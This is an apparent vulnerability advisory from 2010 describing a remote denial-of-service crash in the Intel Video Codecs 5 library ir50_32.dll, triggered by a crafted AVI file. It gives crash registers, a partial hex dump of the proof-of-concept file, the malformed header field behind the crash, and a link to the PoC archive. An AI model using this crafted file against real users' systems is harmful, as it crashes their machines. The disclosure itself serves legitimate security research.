103 lines
No EOL
2.8 KiB
Text
103 lines
No EOL
2.8 KiB
Text
Intel Video Codecs 5 Remote Denial of Service
|
||
Author: Matthew Bergin
|
||
Website: http://berginpentesting.com/
|
||
Email: matt@berginpentesting.com
|
||
Date: August 27, 2010
|
||
Filename: ir50_32.dll
|
||
Version: 5.2562.15.55
|
||
|
||
Description:
|
||
A remote user can cause denial of service conditions on remote hosts by embedding a specially crafted AVI file into an HTML page. The included PoC will also cause crash conditions locally if viewed by My Computer.
|
||
|
||
Application Events Notice:
|
||
Faulting application explorer.exe, version 6.0.2900.5512, faulting module ir50_32.dll, version 5.2562.15.55, fault address 0x00002897.
|
||
|
||
Crash Instructions:
|
||
MOV EDI, DWORD PTR DS:[EDX+EDI*4-4] <- Crash Here
|
||
MOV AH, AL
|
||
AND CH, 0C0
|
||
CMP CH, 40
|
||
JE ir50_32.738727C3
|
||
|
||
Crash Registers:
|
||
eax 00030026
|
||
ecx 00000DEA
|
||
edx 02b80004
|
||
ebx 00000001
|
||
esp 0849f420
|
||
ebp fb202196
|
||
esi 05d5fe4c
|
||
edi 7ecc7dc7
|
||
eip 73872c52
|
||
|
||
Reproduction
|
||
|
||
PoC File:
|
||
Addr : 0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||
2090h: F3 2C 00 7E 12 C8 71 2D 88 F8 BC CF DD 6F F8 E0 ó,
|
||
....
|
||
20B0h: B1 97 C5 F3 79 29 F0 41 92 71 0D C0 7E 73 F1 EC ±—Åóy)ðA’q
|
||
À~sñì
|
||
....
|
||
2120h: CE 87 8E C3 10 FA 17 49 86 E7 E1 23 33 AC F1 89 ·ŽÃúI†çá#3¬ñ‰
|
||
....
|
||
21E0h: 37 FA 7F 3F 16 F7 D7 CF 39 CF 0F F1 94 C0 C0 34 7ú?÷×Ï9Ïñ”ÀÀ4
|
||
....
|
||
2460h: C5 DA 58 81 C0 51 19 68 14 11 28 D8 ED 02 18 C2 ÅÚXÀQh(ØíÂ
|
||
....
|
||
2540h: F8 60 D9 21 02 42 42 FA 74 99 05 24 7C D8 9F 3A ø`Ù!BBút™$|ØŸ:
|
||
....
|
||
25B0h: 0E 0F 1F 53 3E 26 C3 A3 10 3E E5 E7 8F C2 37 16 S>&ã>åçÂ7
|
||
....
|
||
2680h: DB 32 EA 10 98 57 AB 88 0B 24 C4 4D 4A 28 7F 9B Û2ê˜W«ˆ $ÄMJ(›
|
||
....
|
||
3380h: C8 93 FE 31 51 32 1C A1 57 E2 F0 F9 27 16 43 F9 È“þ1Q2.¡Wâðù'.Cù
|
||
....
|
||
33B0h: 3E FB 73 25 C3 A3 B8 9B 33 BF FE C1 AF CA FF 3F >ûs%㸛3¿þÁ¯Êÿ?
|
||
....
|
||
|
||
|
||
Cause:
|
||
while reversing the format, i found the size of the data section of LISTHEADER list[3] was showing a null value, after further review of the data which was said to not be included in the file i found several differences. These differences can be directly linked to the very reproducible crash which the poc provides.
|
||
|
||
LISTHEADER list[3] in the sample is at 7F4h and the size is 3FCB52h
|
||
LISTHEADER list[3] in the poc file is at 7F4h and the size is 0h
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[6291] = -49
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[6327] = -20
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[6438] = -15
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[6220] = 22
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[7594] = 31
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[7260] = -64
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[7488] = 116
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[7594] = 31
|
||
|
||
genericblock gb[0]
|
||
char data[18448]
|
||
char data[7807] = -120
|
||
|
||
PoC:
|
||
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14883.rar (IntelVideoCodecs5RemoteDenialofService.rar) |